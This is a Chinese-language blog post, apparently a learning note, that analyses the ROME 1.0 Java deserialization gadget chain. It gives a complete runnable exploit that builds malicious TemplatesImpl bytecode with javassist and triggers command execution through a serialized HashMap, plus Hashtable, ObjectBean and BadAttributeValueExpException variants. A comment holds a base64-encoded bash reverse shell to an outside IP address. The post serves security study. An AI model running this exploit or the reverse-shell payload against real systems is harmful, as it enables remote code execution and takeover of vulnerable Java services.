前情提要:
ROME是一个可以兼容多种格式的feeds解析器,可以将一种对象转换成另一种格式(指定格式或java对象)
他提供了ToStringBean这个类,提供深入的toString方法对javaBean进行操作
环境:
jdk8u65
pom.xml:
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency>
|
流程分析:
首先是从导入的rome包里面看一眼,搜一下相关关键字发现什么都没有,比如jndi关键字
其实这里是因为rome包只是这个链子的一部分也就是一个sink,是因为有他才完善了一条链子

这里看其他师傅的链尾是TemplatesImpl.getOutputProperties(),很熟悉,在cc里面见过,这里我们按照常规思路应该是去找find usages,但是发现找不到

这里很厉害的一个地方就是链子的下一步是(在rome包里面)ToStringBean.toString(),看一下

发现就是BeanIntrospector.getPropertyDescriptors(_beanClass)获取一个_beanClass中的getter方法,如果不为空且能调用该方法且可以传参,判断完之后就会执行invoke
1
| Object value = pReadMethod.invoke(_obj,NO_PARAMS);
|
这里看到invoke其实有的人就有可能知道为什么链尾是tostring了,因为该invoke是可以触发TemplatesImpl.getOutputProperties() 的方法的
然后跟进去看一下_beanClass和_obj在构造函数的时候就会被赋值

那现在就是去找谁调用tostring了,这用到了rome包中的类EqualsBean ,跟进去看一下发现有一个hashcode方法

看到这个方法就可以想到我们之前学习cc链的时候的hashmap相关的那条链,这里也是完美契合的

原生exp编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; public class RomEXP { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","Drunkbaby"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); Class c = templates.getClass(); Field byteCodesField = c.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byte[] evil = getTemplatesImpl("Calc"); byte[][] codes = {evil}; byteCodesField.set(templates,codes); // templates.newTransformer(); ToStringBean toStringBean = new ToStringBean(c,templates); // toStringBean.toString(); Class toStringBeanEvil = toStringBean.getClass(); EqualsBean equalsBean = new EqualsBean(toStringBeanEvil,toStringBean); HashMap hashMap = new HashMap(); hashMap.put(equalsBean,"Zephyr"); serialize(hashMap); unserialize("ser.bin"); } public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}" byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
其它利用链:
1.用objectBean替换equalsbean
exp基本不变,就变了一句
1 2 3
| ObjectBean objectBean = new ObjectBean(toStringBeanEvil,toStringBean); HashMap hashMap = new HashMap(); hashMap.put(objectBean,"Zephyr");
|
2.用hashtable替换hashmap
和之前一条cc链差不多,现在的poc里面hashmap会有一个put的操作,但是在hashtable里面,对于hashtable的每个元素,都会调用reconstitutionPut方法,具体的可以自己再去跟一下代码
1 2 3
| Hashtable hashtable= new Hashtable(); hashtable.put(equalsBean,"Zephyr"); serialize(hashtable);
|
3.BadAttributeValueExpException 利用链
不知道大家还是否记得在cc中有个类也可以调用tostring方法,就是BadAttributeValueExpException类的readobject中可以调用任意类的tostring()方法

替换exp
1 2 3
| BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean); serialize(badAttributeValueExpException); unserialize("ser.bin");
|
替换下面照片中红色的一块

注意:
上述代码都是用javassist生成的恶意字节码,因为javassist 缩短 payload 长度
原因是:
传统 Java 编译会包含调试信息、行号表、局部变量表等,而 Javassist 可以在生成时移除这些信息
总结:
总体来说,这条链还是简单一点,主要就是用到了rome包中的两个类来作为这条链的sink~